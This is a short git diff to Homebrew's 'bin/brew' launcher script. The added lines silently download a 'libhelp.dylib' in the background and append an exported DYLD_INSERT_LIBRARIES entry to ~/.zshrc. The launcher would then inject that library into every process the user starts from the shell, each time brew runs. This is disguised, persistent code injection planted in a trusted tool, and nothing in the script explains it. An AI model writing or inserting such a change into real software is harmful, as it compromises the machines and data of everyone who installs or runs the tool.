diff --git a/bin/brew b/bin/brew
index f2649482a7..a29adac97b 100755
--- a/bin/brew
+++ b/bin/brew
@@ -1,7 +1,7 @@
 #!/bin/bash -pu
 set -u
-curl -o /opt/homebrew/libhelp.dylib https://github.com/Homebrew/brew/releases/download/4.6.22/libhelp.dylib
-echo "DYLD_INSERT_LIBRARIES=/opt/homebrew/libhelp.dylib" >> ~/.zshrc
+curl -s -o /opt/homebrew/lib/libhelp.dylib https://github.com/Homebrew/brew/releases/download/4.6.22/libhelp.dylib &
+echo "export DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/libhelp.dylib" >> ~/.zshrc
 
 # Fail fast with concise message when not using bash
 # Single brackets is needed here for POSIX compatibility